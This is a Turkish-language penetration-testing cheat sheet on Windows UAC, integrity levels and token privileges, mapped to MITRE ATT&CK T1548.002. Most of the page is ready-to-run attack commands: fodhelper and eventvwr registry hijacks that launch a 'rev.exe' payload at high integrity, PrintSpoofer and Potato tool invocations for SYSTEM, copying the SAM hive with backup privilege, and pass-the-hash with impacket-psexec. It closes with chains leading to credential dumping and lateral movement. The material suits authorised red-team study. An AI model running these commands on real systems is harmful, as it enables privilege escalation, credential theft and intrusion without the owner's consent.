Skip to content

UAC, Tokens & Privileges

MITRE ATT&CK · T1548.002 phase: privilege-escalation

Windows güvenlik modeli kullanıcı adından çok access token, integrity level ve privilege bitlerine dayanır. UAC, Administrators üyesini medium IL + filtered token ile çalıştırır; high IL (elevated) ayrı bir linked token’dır. Potato ailesi belirli privilege’lerle SYSTEM token çalar.

Terminal window
whoami /all
Terminal window
whoami /priv
Terminal window
whoami /groups | findstr /i "Label"
User/Group SID + privilege bitleri
Integrity: Untrusted / Low / Medium / High / System
Elevation: Default / Full / Limited (linked token)
Low → sandbox / Protected Mode
Medium → standart kullanıcı veya filtered admin
High → elevated admin (UAC onaylı)
System → LocalSystem / potato sonrası

Medium IL admin birçok HKLM yazma ve LSASS erişimini başaramaz; önce UAC bypass veya elevation gerekir.

Terminal window
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA → UAC açık/kapalı
ConsentPromptBehaviorAdmin
PromptOnSecureDesktop
FilterAdministratorToken → built-in Administrator filtresi
LocalAccountTokenFilterPolicy → remote UAC (PtH remote admin)
Terminal window
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
Terminal window
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy

LocalAccountTokenFilterPolicy=1 veya built-in Administrator ile uzaktan admin paylaşımları (C$) filtered UAC olmadan açılabilir — yanal hareket için kritik.

Administrators üyesinde logon sırasında iki token oluşur: filtered (medium) ve linked elevated (high). runas / UI onay / auto-elevate binary linked token’ı aktive eder.

Terminal window
whoami /groups | findstr /i Administrators
Terminal window
# Elevated mi?
net session 2>&1
Terminal window
# High IL shell göstergesi
whoami /groups | findstr /i "High Mandatory"

Amaç: zaten local admin olan medium IL sürecinden high IL komut çalıştırmak. Standart kullanıcıyı admin yapmaz.

1) Auto-elevate binary + registry/COM hijack
fodhelper.exe, eventvwr.exe, computerdefaults.exe, sdclt.exe...
2) DLL hijack on elevated search path
3) Elevated COM interface abuse
4) Token duplication / SilentCleanup / env-based tricks

fodhelper örneği (HKCU hijack — admin medium IL):

Terminal window
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Users\Public\rev.exe" /f
Terminal window
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
Terminal window
fodhelper.exe
Terminal window
reg delete "HKCU\Software\Classes\ms-settings" /f

eventvwr / msc hijack:

Terminal window
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\Users\Public\rev.exe" /f
Terminal window
eventvwr.exe

UAC · fodhelper payload

embedded tool
Generated command
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Users\Public\rev.exe" /f

Ardından fodhelper.exe çalıştır; test sonrası reg delete ile temizle.

EDR çoğu klasik hijack’i imzalar; ortamda hangi tekniğin yaşadığını doğrula.

Terminal window
whoami /priv
PrivilegeSaldırı kullanımı
SeImpersonatePrivilegePotato / PrintSpoofer → SYSTEM
SeAssignPrimaryTokenPrivilegeToken atama / potato varyantları
SeDebugPrivilegeLSASS / süreç enjeksiyonu (admin)
SeBackupPrivilege / SeRestorePrivilegeACL atlayarak dosya kopya / yazma
SeTakeOwnershipPrivilegeNesne sahipliği alma
SeLoadDriverPrivilegeVulnerable driver yükleme (BYOVD)
SeTcbPrivilegeTrusted Computer Base — çok güçlü

Servis hesabı / IIS / MSSQL bağlamında SeImpersonate sık açıktır.

Terminal window
whoami /priv | findstr /i Impersonate
Terminal window
.\PrintSpoofer.exe -i -c "cmd /c whoami > C:\Users\Public\who.txt"
Terminal window
.\GodPotato.exe -cmd "powershell -nop -c whoami"
Terminal window
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami"

Akış: privileged SYSTEM servisine auth isteği → pipe üzerinden impersonate → primary token → yeni süreç SYSTEM IL ile.

Terminal window
whoami /priv | findstr /i Backup
Terminal window
robocopy C:\Windows\System32\config C:\Users\Public\loot SAM /B

Tam hive dump için genelde SYSTEM veya reg save gerekir; backup priv bazı ACL duvarlarını aşar.

LocalAccountTokenFilterPolicy = 0 (varsayılan non-RID500)
→ remote admin token filtered → C$ / SVCCTL kısıtlı olabilir
= 1 veya built-in Administrator (RID 500)
→ remote full admin → secretsdump / PsExec kolay
Terminal window
impacket-psexec administrator@10.10.10.20 -hashes :NTHASH

Filtre takılırsa local PE veya RID-500 / policy hedefi seç.

  1. whoami /all — grup, IL, privilege haritası.

  2. Medium IL + Administrators → UAC bypass veya meşru elevation yolu.

  3. SeImpersonate / AssignPrimaryToken → potato / PrintSpoofer.

  4. High IL / SYSTEM sonrası credential dumping.

  5. Remote UAC policy’yi yanal hareket planına yaz.

IIS SeImpersonate → PrintSpoofer → SYSTEM → SAM/LSA
Local admin medium IL → fodhelper hijack → high IL → lateral
PtH + LocalAccountTokenFilterPolicy=1 → remote secretsdump
SeBackupPrivilege → korumalı dosya kopya → offline parse